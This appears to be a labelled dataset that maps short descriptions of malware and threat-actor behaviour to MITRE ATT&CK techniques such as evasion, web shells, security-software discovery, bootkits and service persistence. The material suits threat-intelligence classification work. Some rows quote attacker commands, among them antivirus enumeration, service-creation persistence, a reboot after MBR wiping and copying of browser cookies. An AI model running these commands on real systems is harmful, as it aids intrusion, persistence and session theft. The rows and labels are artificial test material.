HermeticWiper has the ability to receive a command parameter to sleep prior to carrying out destructive actions on a targeted host.,['T1497.003 - Time Based Evasion'],fine_tune
LiteDuke can wait 30 seconds before executing additional code if security software is detected.,['T1497.003 - Time Based Evasion'],fine_tune
"P8RAT has the ability to ""sleep"" for a specified time to evade detection.",['T1497.003 - Time Based Evasion'],fine_tune
Pony has delayed execution using a built-in function to avoid detection and analysis.,['T1497.003 - Time Based Evasion'],fine_tune
SUNBURST remained dormant after initial access for a period of up to two weeks.,['T1497.003 - Time Based Evasion'],fine_tune
Saint Bot has used the command `timeout 20` to pause the execution of its initial loader.,['T1497.003 - Time Based Evasion'],fine_tune
"SodaMaster has the ability to put itself to ""sleep"" for a specified time.",['T1497.003 - Time Based Evasion'],fine_tune
The QakBot dropper can delay dropping the payload to evade detection.,['T1497.003 - Time Based Evasion'],fine_tune
"ThiefQuest invokes ""time"" call to check the system's time, executes a ""sleep"" command, invokes a second ""time"" call, and then compares the time difference between the two ""time"" calls and the amount of time the system slept to identify the sandbox.",['T1497.003 - Time Based Evasion'],fine_tune
"TrickBot has used ""printf"" and file I/O loops to delay process execution as part of API hammering.",['T1497.003 - Time Based Evasion'],fine_tune
"Using the machine's local time, XCSSET waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, "".report"". After the elapsed time, XCSSET executes additional modules.",['T1497.003 - Time Based Evasion'],fine_tune
WhisperGate can pause for 20 seconds to bypass antivirus solutions.,['T1497.003 - Time Based Evasion'],fine_tune
OnionDuke has the capability to use a Denial of Service module.,['T1499 - Endpoint Denial of Service'],fine_tune
"Sandworm Team temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019.",['T1499 - Endpoint Denial of Service'],fine_tune
ZxShell has a feature to perform SYN flood attack on a host.,['T1499 - Endpoint Denial of Service'],fine_tune
Industroyer uses a custom DoS tool that leverages CVE-2015-5374 and targets hardcoded IP addresses of Siemens SIPROTEC devices.,['T1499.004 - Application or System Exploitation'],fine_tune
Sandworm Team has used various MS-SQL stored procedures.,['T1505.001 - SQL Stored Procedures'],fine_tune
Stuxnet used xp_cmdshell to store and execute SQL code.,['T1505.001 - SQL Stored Procedures'],fine_tune
LightNeuron has used a malicious Microsoft Exchange transport agent for persistence.,['T1505.002 - Server Software Component: Transport Agent'],fine_tune
APT28 has used a modified and obfuscated version of the reGeorg web shell to maintain persistence on a target's Outlook Web Access (OWA) server.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
APT29 has installed web shells on exploited Microsoft Exchange servers.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
APT32 has used Web shells to maintain access to victim websites.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
APT38 has used web shells for persistence or to ensure redundant access.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
APT39 has installed ANTAK and ASPXSPY web shells.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
ASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).,['T1505.003 - Server Software Component: Web Shell'],fine_tune
BackdoorDiplomacy has used web shells to establish an initial foothold and for lateral movement within a victim's system.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
China Chopper's server component is a Web Shell payload.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Dragonfly has commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"During Operation Wocao, threat actors used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
GALLIUM used Web shells to persist in victim environments and assist in execution and exfiltration.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"HAFNIUM has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, China Chopper, and ASPXSpy.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Kimsuky has used modified versions of open source PHP web shells to maintain access, often adding ""Dinosaur"" references within the code.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
Leviathan relies on web shells for an initial foothold as well as persistence into the victim's systems.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
Moses Staff has dropped a web shell onto a compromised system.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"OilRig has used web shells, often to maintain access to a victim network.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390. It is installed as an ISAPI filter on Exchange servers and shares characteristics with the China Chopper Web shell.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
P.A.S. Webshell can gain remote access and execution on target web servers.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
SUPERNOVA is a Web shell.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
Sandworm Team has used webshells including P.A.S. Webshell to maintain access to victim networks.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
TEMP.Veles has planted Web shells on Outlook Exchange servers.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
Threat Group-3390 has used a variety of Web shells.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
Tonto Team has used a first stage web shell after compromising a vulnerable Exchange server.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Tropic Trooper has started a web service in the target host and wait for the adversary to connect, acting as a web shell.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"IceApple is an IIS post-exploitation framework, consisting of 18 modules that provide several functionalities.",['T1505.004 - IIS Components'],fine_tune
RGDoor establishes persistence on webservers as an IIS module.,['T1505.004 - IIS Components'],fine_tune
Bazar can query the Registry for installed applications.,['T1518 - Software Discovery'],fine_tune
CharmPower can list the installed applications on a compromised host.,['T1518 - Software Discovery'],fine_tune
ComRAT can check the victim's default browser to determine which process to inject its communications module into.,['T1518 - Software Discovery'],fine_tune
Dridex has collected a list of installed software on the system.,['T1518 - Software Discovery'],fine_tune
"During Operation Dust Storm, the threat actors deployed a file called `DeployJava.js` to fingerprint installed software on a victim system prior to exploit delivery.",['T1518 - Software Discovery'],fine_tune
"During Operation Wocao, threat actors collected a list of installed software on the infected system.",['T1518 - Software Discovery'],fine_tune
HEXANE has enumerated programs installed on an infected machine.,['T1518 - Software Discovery'],fine_tune
"HotCroissant can retrieve a list of applications from the ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths"" registry key.",['T1518 - Software Discovery'],fine_tune
Inception has enumerated installed software on compromised systems.,['T1518 - Software Discovery'],fine_tune
"InvisiMole can collect information about installed software used by specific users, software executed on user login, and software executed by each system.",['T1518 - Software Discovery'],fine_tune
KGH_SPY can collect information on installed applications.,['T1518 - Software Discovery'],fine_tune
MarkiRAT can check for the Telegram installation directory by enumerating the files on disk.,['T1518 - Software Discovery'],fine_tune
Metamorfo has searched the compromised system for banking applications.,['T1518 - Software Discovery'],fine_tune
MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine.,['T1518 - Software Discovery'],fine_tune
P.A.S. Webshell can list PHP server configuration details.,['T1518 - Software Discovery'],fine_tune
QakBot can enumerate a list of installed programs.,['T1518 - Software Discovery'],fine_tune
RTM can scan victim drives to look for specific banking software on the machine to determine next actions.,['T1518 - Software Discovery'],fine_tune
"SUGARDUMP can identify Chrome, Opera, Edge Chromium, and Firefox browsers, including version number, on a compromised host.",['T1518 - Software Discovery'],fine_tune
Siloscape searches for the kubectl binary.,['T1518 - Software Discovery'],fine_tune
TajMahal has the ability to identify the Internet Explorer (IE) version on an infected host.,['T1518 - Software Discovery'],fine_tune
The Cobalt Strike System Profiler can discover applications through the browser and identify the version of Java the target has.,['T1518 - Software Discovery'],fine_tune
Tropic Trooper's backdoor could list the infected system's installed software.,['T1518 - Software Discovery'],fine_tune
Windigo has used a script to detect installed software on targeted systems.,['T1518 - Software Discovery'],fine_tune
Windshift has used malware to identify installed software.,['T1518 - Software Discovery'],fine_tune
"XCSSET uses ""ps aux"" with the ""grep"" command to enumerate common browsers and system processes potentially impacting XCSSET's exfiltration capabilities.",['T1518 - Software Discovery'],fine_tune
down_new has the ability to gather information on installed applications.,['T1518 - Software Discovery'],fine_tune
ABK has the ability to identify the installed anti-virus product on the compromised host.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"APT38 has identified security software, configurations, defensive tools, and sensors installed on a compromised system.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Action RAT can identify AV products on an infected host using the following command: `cmd.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List`.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Amadey has checked for a variety of antivirus products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Aquatic Panda has attempted to discover third party endpoint detection and response (EDR) tools on compromised systems.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Astaroth checks for the presence of Avast antivirus in the ""C:\Program\Files\"" folder.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
AuTo Stealer has the ability to collect information about installed AV products from an infected host.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
BLUELIGHT can collect a list of anti-virus products installed on a machine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Bazar can identify the installed antivirus engine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
CHOPSTICK checks for antivirus and forensics software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Clop can search for processes with antivirus and antimalware product names.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Cobalt Group used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Comnie attempts to detect several anti-virus products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
DarkWatchman can search for anti-virus products on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Darkhotel has searched for anti-malware strings and anti-virus processes running on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"During Frankenstein, the threat actors used WMI queries to determine if analysis tools were running on a compromised system.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"During Operation Wocao, threat actors used scripts to detect security software.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
EVILNUM can search for anti-virus products on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Empire can enumerate antivirus software on the target.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Epic searches for anti-malware services running on the victim’s machine and terminates itself if it finds them.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
EvilBunny has been observed querying installed antivirus software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
FELIXROOT checks for installed security software like antivirus and firewall.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
FIN8 has used Registry keys to detect and avoid executing in potential sandboxes.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Felismus checks for processes associated with anti-virus vendors.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
FinFisher probes the system to check for antimalware processes.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Flame identifies security software such as antivirus through the Security module.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
FlawedAmmyy will attempt to detect anti-virus products during the initial infection.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Frankenstein has used WMI queries to detect if virtualization environments or analysis tools were running on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
FunnyDream can identify the processes for Bkav antivirus.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Gelsemium can check for the presence of specific security products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Gold Dragon checks for anti-malware products and processes.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Grandoreiro can list installed security products including the Trusteer and Diebold Warsaw GAS Tecnologia online banking protections.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"InvisiMole can check for the presence of network sniffers, AV, and BitDefender firewall.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
JPIN checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Kimsuky has checked for the presence of antivirus software with ""powershell Get-CimInstance -Namespace root/securityCenter2 – classname antivirusproduct"".",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
LiteDuke has the ability to check for the presence of Kaspersky security software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
LitePower can identify installed AV software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
MarkiRAT can check for running processes on the victim’s machine to look for Kaspersky and Bitdefender antivirus products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Meteor has the ability to search for Kaspersky Antivirus on a victim's machine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
More_eggs can obtain information on installed anti-malware programs.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Naikon uses commands such as ""netsh advfirewall firewall"" to discover local firewall settings.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Netwalker can detect and terminate active security software-related processes on infected systems.,"['T1518.001 - Software Discovery: Security Software Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",fine_tune
NotPetya determines if specific antivirus programs are running on an infected host machine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
POWERSTATS has detected security tools.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
POWRUNER may collect information on the victim's anti-virus software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
PUNCHBUGGY can gather AVs registered in the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Patchwork scanned the “Program Files” directories for a directory with the string “Total Security” (the installation path of the “360 Total Security” antivirus tool).,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
PipeMon can check for the presence of ESET and Kaspersky security software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
QakBot can identify the installed antivirus product on a targeted system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
RTM can obtain information about security software on the victim.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Remsec has a plugin to detect active drivers of some security products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Rocke used scripts which detected and uninstalled antivirus software.,"['T1518.001 - Software Discovery: Security Software Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",fine_tune
SILENTTRINITY can determine if an anti-virus product is installed through the resolution of the service's virtual SID.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
SUNBURST checked for a variety of antivirus/endpoint detection agents prior to execution.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
SideCopy uses a loader DLL file to collect AV product names from an infected host.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Sidewinder has used the Windows service ""winmgmts:\\.\root\SecurityCenter2"" to check installed antivirus products.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Skidmap has the ability to check if ""/usr/sbin/setenforce"" exists. This file controls what mode SELinux is in.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
StoneDrill can check for antivirus and antimalware programs.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
T9000 performs checks for various antivirus and security products during installation.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Tasklist can be used to enumerate security software currently running on a system by process name of known products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
TeamTNT has searched for security products on infected machines.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"The White Company has checked for specific antivirus products on the target’s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"The main CozyCar dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"ThiefQuest uses the ""kill_unwanted"" function to get a list of running processes, compares each process with an encrypted list of “unwanted” security related programs, and kills the processes for security related programs.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Tropic Trooper can search for anti-virus software running on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Turla has obtained information on security software, including security logging information that may indicate whether their malware has been detected.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Valak can determine if a compromised host has security products installed.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Waterbear can find the presence of a specific security software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
WhisperGate can recognize the presence of monitoring tools on a target system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Windshift has used malware to identify installed AV and commonly used forensic and malware analysis tools.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Wingbird checks for the presence of Bitdefender security software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Wizard Spider has used WMI to identify anti-virus products installed on a victim's machine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Zeus Panda checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim’s environment.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
down_new has the ability to detect anti-virus products and processes on a compromised host.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"jRAT can list security software, such as by using WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
netsh can be used to discover system firewall settings.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
xCaon has checked for the existence of Kaspersky antivirus software on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"AADInternals can enumerate information about a variety of cloud services, such as Office 365 and Sharepoint instances or OpenID Configurations.",['T1526 - Cloud Service Discovery'],fine_tune
"APT28 has used several malicious applications to steal user OAuth access tokens including applications masquerading as ""Google Defender"" ""Google Email Protection,"" and ""Google Scanner"" for Gmail users. They also targeted Yahoo users with applications masquerading as ""Delivery Service"" and ""McAfee Email Protection"".",['T1528 - Steal Application Access Token'],fine_tune
Peirates gathers Kubernetes service account tokens using a variety of techniques.,['T1528 - Steal Application Access Token'],fine_tune
"APT37 has used malware that will issue the command ""shutdown /r /t 1"" to reboot a system after wiping its MBR.",['T1529 - System Shutdown/Reboot'],fine_tune
"APT38 has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.",['T1529 - System Shutdown/Reboot'],fine_tune
DCSrv has a function to sleep for two hours before rebooting the system.,['T1529 - System Shutdown/Reboot'],fine_tune
DustySky can shutdown the infected machine.,['T1529 - System Shutdown/Reboot'],fine_tune
KillDisk attempts to reboot the machine by terminating specific processes.,['T1529 - System Shutdown/Reboot'],fine_tune
LockerGoga has been observed shutting down infected systems.,['T1529 - System Shutdown/Reboot'],fine_tune
LookBack can shutdown and reboot the victim machine.,['T1529 - System Shutdown/Reboot'],fine_tune
NotPetya will reboot the system one hour after infection.,['T1529 - System Shutdown/Reboot'],fine_tune
Peirates can dump the contents of AWS S3 buckets. It can also retrieve service account tokens from kOps buckets in Google Cloud Storage or S3.,['T1530 - Data from Cloud Storage Object'],fine_tune
LAPSUS$ has removed a targeted organization's global admin accounts to lock the organization out of all access.,['T1531 - Account Access Removal'],fine_tune
LockerGoga has been observed changing account passwords and logging off current users.,['T1531 - Account Access Removal'],fine_tune
Meteor has the ability to change the password of local users on compromised hosts and can log off users.,['T1531 - Account Access Removal'],fine_tune
"HEXANE has conducted internal spearphishing attacks against executives, HR, and IT personnel to gain information and access.",['T1534 - Internal Spearphishing'],fine_tune
Kimsuky has sent internal spearphishing emails for lateral movement after stealing victim information.,['T1534 - Internal Spearphishing'],fine_tune
Lazarus Group has conducted internal spearphishing from within a compromised organization.,['T1534 - Internal Spearphishing'],fine_tune
Leviathan has conducted internal spearphishing within the victim's environment for lateral movement.,['T1534 - Internal Spearphishing'],fine_tune
APT29 has stolen Chrome browser cookies by copying the Chrome profile directories of targeted users.,['T1539 - Steal Web Session Cookie'],fine_tune
"BLUELIGHT can harvest cookies from Internet Explorer, Edge, Chrome, and Naver Whale browsers.",['T1539 - Steal Web Session Cookie'],fine_tune
Chaes has used a script that extracts the web session cookie and sends it to the C2 server.,['T1539 - Steal Web Session Cookie'],fine_tune
CookieMiner can steal Google Chrome and Apple Safari browser cookies from the victim’s machine.,['T1539 - Steal Web Session Cookie'],fine_tune
EVILNUM can harvest cookies and upload them to the C2 server.,['T1539 - Steal Web Session Cookie'],fine_tune
Evilnum can steal cookies and session information from browsers.,['T1539 - Steal Web Session Cookie'],fine_tune
Grandoreiro can steal the victim's cookies to use for duplicating the active session from another device.,['T1539 - Steal Web Session Cookie'],fine_tune
QakBot has the ability to capture web session cookies.,['T1539 - Steal Web Session Cookie'],fine_tune
"XCSSET uses ""scp"" to access the ""~/Library/Cookies/Cookies.binarycookies"" file.",['T1539 - Steal Web Session Cookie'],fine_tune
"Cyclops Blink has maintained persistence by patching legitimate device firmware when it is downloaded, including that of WatchGuard devices.",['T1542.002 - Component Firmware'],fine_tune
Equation is known to have the capability to overwrite the firmware on hard drives from some manufacturers.,['T1542.002 - Component Firmware'],fine_tune
APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy.,['T1542.003 - Bootkit'],fine_tune
APT41 deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.,['T1542.003 - Bootkit'],fine_tune
BOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.,['T1542.003 - Bootkit'],fine_tune
Carberp has installed a bootkit on the system to maintain persistence.,['T1542.003 - Bootkit'],fine_tune
Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.,['T1542.003 - Bootkit'],fine_tune
ROCKBOOT is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.,['T1542.003 - Bootkit'],fine_tune
Some FinFisher variants incorporate an MBR rootkit.,['T1542.003 - Bootkit'],fine_tune
TrickBot can implant malicious code into a compromised device's firmware.,['T1542.003 - Bootkit'],fine_tune
Exaramel for Linux has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.,['T1543 - Create or Modify System Process'],fine_tune
FatDuke has the ability to create a process.,['T1543 - Create or Modify System Process'],fine_tune
MiniDuke can create a process on a compromised host.,['T1543 - Create or Modify System Process'],fine_tune
Bundlore can persist via a LaunchAgent.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
CookieMiner has installed multiple new Launch Agents in order to maintain persistence for cryptocurrency mining software.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
CrossRAT creates a Launch Agent on macOS.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
FruitFly persists via a Launch Agent.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
Keydnap uses a Launch Agent to persist.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"MacMa installs a `com.apple.softwareupdate.plist` file in the `/LaunchAgents` folder with the `RunAtLoad` value set to `true`. Upon user login, MacMa is executed from `/var/root/.local/softwareupdate` with root privileges. Some variations also include the `LimitLoadToSessionType` key with the value `Aqua`, ensuring the MacMa only runs when there is a logged in GUI user.",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
MacSpy persists via a Launch Agent.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
NETWIRE can use launch agents for persistence.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"The Komplex trojan creates a persistent launch agent called with ""$HOME/Library/LaunchAgents/com.apple.updates.plist"" with ""launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist"".",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
Exaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.,['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],fine_tune
Hildegard has started a monero service.,['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],fine_tune
Pupy can be used to establish persistence using a systemd service.,['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],fine_tune
Rocke has installed a systemd service script to maintain persistence.,['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],fine_tune
"A Threat Group-3390 tool can create a new service, naming it after the config information, to gain persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
APT32 modified Windows Services to ensure PowerShell scripts were loaded on the system. APT32 also creates a Windows service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
APT38 has installed a new Windows service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
APT41 modified legitimate Windows services to install malware backdoors. APT41 created the StorSyncSvc service to provide persistence for Cobalt Strike.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
An APT19 Port 22 malware variant registers itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Anchor can establish persistence by creating a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Attor's dispatcher can establish persistence by registering a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
AuditCred is installed as a new service on the system.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
BBSRAT can modify service configurations.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Bankshot can terminate a specific process by its process id.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Bisonal has been modified to be used as a Windows service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
BitPaymer has attempted to install itself as a service to maintain persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Blue Mockingbird has made their XMRIG payloads persistent as a Windows Service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Briba installs a service pointing to a malicious DLL dropped to disk.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Carbon establishes persistence by creating a service and naming it based off the operating system version running on the current machine.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Catchamas adds a new service named NetAdapter to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Clambling can register itself as a system service to gain persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Conficker copies itself into the ""%systemroot%\system32"" directory and registers as a service.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"CosmicDuke uses Windows services typically named ""javamtsup"" for persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Cuba can modify services by using the ""OpenService"" and ""ChangeServiceConfig"" functions.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
DCSrv has created new services for persistence by modifying the Registry.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
DarkVishnya created new services for shellcode loaders distribution.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"During Operation CuckooBees, the threat actors modified the `IKEEXT` and `PrintNotify` Windows services for persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Dyre registers itself as a service by adding several Registry keys.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Earth Lusca created a service using the command ""sc create “SysUpdate” binpath= “cmd /c start “[file path]””&&sc config “SysUpdate” start= auto&&net
start SysUpdate"" for persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Elise configures itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Emissary is capable of configuring itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Emotet has been observed creating new services to maintain persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Empire can utilize built-in modules to modify service binaries and restore them to their original state.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
FALLCHILL has been installed as a Windows service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
FIN7 created new Windows services and added them to the startup directories for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
FinFisher creates a new Windows service with the malicious executable for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
FunnyDream has established persistence by running `sc.exe` and by setting the `WSearch` service to run automatically.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Honeybee has batch files that modify the system service COMSysApp to load a malicious DLL.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Hydraq creates new services to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"If running as administrator, TDTESS installs itself as a new service named bmwappushservice to establish persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"InvisiMole can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
JHUHUGIT has registered itself as a service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Kazuar can install itself as a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Ke3chang backdoor RoyalDNS established persistence through adding a service called ""Nwsapagent"".",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
KeyBoy installs a service pointing to a malicious DLL dropped to disk.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Kimsuky has created new services for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
LoudMiner can automatically launch a Linux virtual machine as a service at startup if the AutoStart option is enabled in the VBoxVmService configuration file.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
